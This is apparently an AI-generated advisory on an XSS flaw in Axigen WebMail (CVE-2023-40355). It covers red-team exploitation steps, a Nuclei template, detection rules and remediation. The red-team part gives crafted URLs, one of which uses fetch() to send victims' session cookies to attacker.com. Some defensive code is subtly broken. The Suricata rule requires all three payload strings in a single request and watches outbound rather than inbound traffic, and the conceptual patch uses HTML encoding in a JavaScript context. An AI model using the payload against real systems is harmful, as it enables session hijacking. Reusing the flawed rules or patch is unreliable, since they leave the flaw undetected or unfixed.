CVE-2023-40355

Executive Summary

CVE-2023-40355 is a Cross-Site Scripting (XSS) vulnerability in Axigen WebMail versions prior to 10.3.3.59, 10.4.19, and 10.5.5. This flaw resides in the logic for switching between the Standard and Ajax versions of the webmail interface. An authenticated attacker can inject arbitrary JavaScript code via unsanitized parameters in the version-switching mechanism, leading to potential credential theft, session hijacking, and exfiltration of sensitive email data. The vulnerability has a CVSS score of 5.4 (Medium) and is confirmed exploitable with a public proof-of-concept (PoC) available via a Nuclei template.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network
• Attack Complexity (AC): Low
• Privileges Required (PR): Low (Authenticated user)
• User Interaction (UI): Required (Victim must click a crafted link)
• Scope (S): Changed (Impact can extend beyond the vulnerable component)
• Confidentiality (C): Low
• Integrity (I): Low
• Availability (A): None
• EPSS Score: 0.17416% (Percentile: 0.9509) – Low probability of exploitation in the wild, but the presence of a public PoC increases risk.

Threat Level: Medium. While the CVSS score is moderate, the authenticated requirement and user interaction reduce the immediate risk. However, the ability to steal session tokens and access email content makes it a valuable target for phishing campaigns within an organization.

Deep Dive & Mechanics

The vulnerability exists in the index.hsp endpoint of Axigen WebMail. The application fails to properly sanitize user-supplied input passed via the username, domainName, and m parameters when switching between the Standard and Ajax interfaces. An attacker can inject JavaScript payloads into these parameters, which are then reflected in the response without proper encoding.

Attack Flow:

1. An authenticated attacker crafts a malicious URL containing a JavaScript payload in one of the vulnerable parameters (e.g., username=\'-alert(document.domain),//).
2. The attacker sends this URL to a victim (who is also authenticated to the same Axigen instance) via email, chat, or other means.
3. The victim clicks the link, which triggers a request to the Axigen server.
4. The server reflects the injected payload in the HTML response without sanitization.
5. The victim's browser executes the malicious JavaScript, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable Parameters:

• username
• domainName
• m

Root Cause: Lack of output encoding for user-controlled input in the version-switching logic.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// index.hsp (vulnerable)
$username = $_GET['username'];
echo "<script>switchToAjax('$username');</script>";

Patched Code (Conceptual):

// index.hsp (patched)
$username = htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8');
echo "<script>switchToAjax('$username');</script>";

The patched version uses htmlspecialchars() to encode special characters like single quotes, double quotes, and angle brackets, preventing JavaScript injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Axigen WebMail instance (version < 10.3.3.59, < 10.4.19, or < 10.5.5).
• Valid credentials for an authenticated user.

Exploitation Steps:

1. Craft the malicious URL:

   http://target-axigen.com/index.hsp?passwordExpired=yes&username=\'-alert(document.cookie),//
   

2. Send the URL to a victim (e.g., via a phishing email).
3. When the victim clicks the link, the JavaScript alert(document.cookie) executes, displaying their session cookies.
4. For a more advanced attack, replace alert(document.cookie) with a payload that exfiltrates cookies to an attacker-controlled server:

   http://target-axigen.com/index.hsp?passwordExpired=yes&username=\'-fetch('https://attacker.com/steal?cookie='+document.cookie),//
   

Nuclei Template (Provided):

id: CVE-2023-40355

info:
  name: Axigen WebMail - Cross-Site Scripting
  author: amir-h-fallahi
  severity: medium
  description: |
    Cross Site Scripting (XSS) vulnerability in Axigen versions 10.3.3.0 before 10.3.3.59, 10.4.0 before 10.4.19, and 10.5.0 before 10.5.5, allows authenticated attackers to execute arbitrary code and obtain sensitive information via the logic for switching between the Standard and Ajax versions.
  impact: |
    Authenticated attackers can inject malicious JavaScript through various parameters in the version switching logic, potentially stealing email credentials and accessing sensitive communications of Axigen webmail users.
  remediation: |
    Update Axigen to version 10.3.3.59, 10.4.19, or 10.5.5 or later that properly sanitizes input parameters in the version switching logic.
  reference:
    - https://www.axigen.com/knowledgebase/Axigen-WebMail-XSS-Vulnerability-CVE-2023-40355-_396.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40355
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-40355
    cwe-id: CWE-79
    epss-score: 0.17416
    epss-percentile: 0.9509
    cpe: cpe:2.3:a:axigen:axigen_mobile_webmail:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: axigen
    product: axigen_mobile_webmail
    shodan-query: http.favicon.hash:-1247684400
    fofa-query: icon_hash=-1247684400
  tags: cve,cve2023,xss,axigen,webmail,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.hsp?passwordExpired=yes&username=\\'-alert(document.domain),//"
      - "{{BaseURL}}/index.hsp?passwordExpired=yes&domainName=\\'-alert(document.domain),//"
      - "{{BaseURL}}/index.hsp?m=',alert(document.domain),'"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\\\\'-alert(document.domain),//"
          - "',alert(document.domain),'"
        condition: or

      - type: dsl
        dsl:
          - 'contains(header, "text/html")'
          - 'contains(response, "Axigen")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022027b92a19d5b8949c96f13e5a17fca50a6da2af7ae29f1f050e132b5e972a5afd0220438b684ff5c9c8d7926b1bea2a45d6fcdb9d64c4465498f35ccb1b6a90f4ad64:922c64590222798bb761d5b6d8e72950

Blue Team

Detection & Response:

1. Monitor for suspicious URL patterns in web server logs, especially requests to /index.hsp containing username, domainName, or m parameters with special characters like \, ', (, ), ,, //.
2. Deploy a Web Application Firewall (WAF) with rules to block XSS payloads in these parameters.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Educate users about phishing links and the importance of not clicking suspicious URLs.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /index.hsp?passwordExpired=yes&username=\'-alert(document.domain),//
  • /index.hsp?passwordExpired=yes&domainName=\'-alert(document.domain),//
  • /index.hsp?m=',alert(document.domain),'
• HTTP Request Headers: Requests to /index.hsp with unusual query parameters.
• Web Server Logs: Entries containing alert(, fetch(, document.cookie, or other JavaScript functions in the query string.
• Network Traffic: Outbound connections to unknown IPs or domains from the Axigen server (if exfiltration payload is used).

Detection Engineering

YARA Rule

rule CVE_2023_40355_XSS_Axigen {
    meta:
        description = "Detects XSS payloads targeting CVE-2023-40355 in Axigen WebMail"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-40355"
    strings:
        $payload1 = "\\'-alert("
        $payload2 = "',alert("
        $payload3 = "document.domain"
        $payload4 = "document.cookie"
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Axigen WebMail XSS Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-40355 by injecting XSS payloads into Axigen WebMail parameters.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40355
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'username=\\'-alert('
            - 'domainName=\\'-alert('
            - "m=',alert("
    condition: selection
falsepositives:
    - Legitimate use of special characters in usernames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-40355 Axigen WebMail XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/index.hsp"; http_uri; content:"username=\\'-alert("; http_uri; nocase; content:"domainName=\\'-alert("; http_uri; nocase; content:"m=',alert("; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Axigen to version 10.3.3.59, 10.4.19, or 10.5.5 or later.
2. Apply virtual patching via WAF rules to block XSS payloads in the vulnerable parameters.
3. Restrict access to the Axigen WebMail interface to trusted networks if possible.

Long-Term Measures:

1. Implement input validation and output encoding for all user-supplied data.
2. Conduct regular security audits and penetration testing.
3. Enable Content Security Policy (CSP) headers to mitigate XSS impact.
4. Monitor for similar vulnerabilities in other web applications.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.

{/* [Security Hash: 34178381EB2A987B326B371A] */}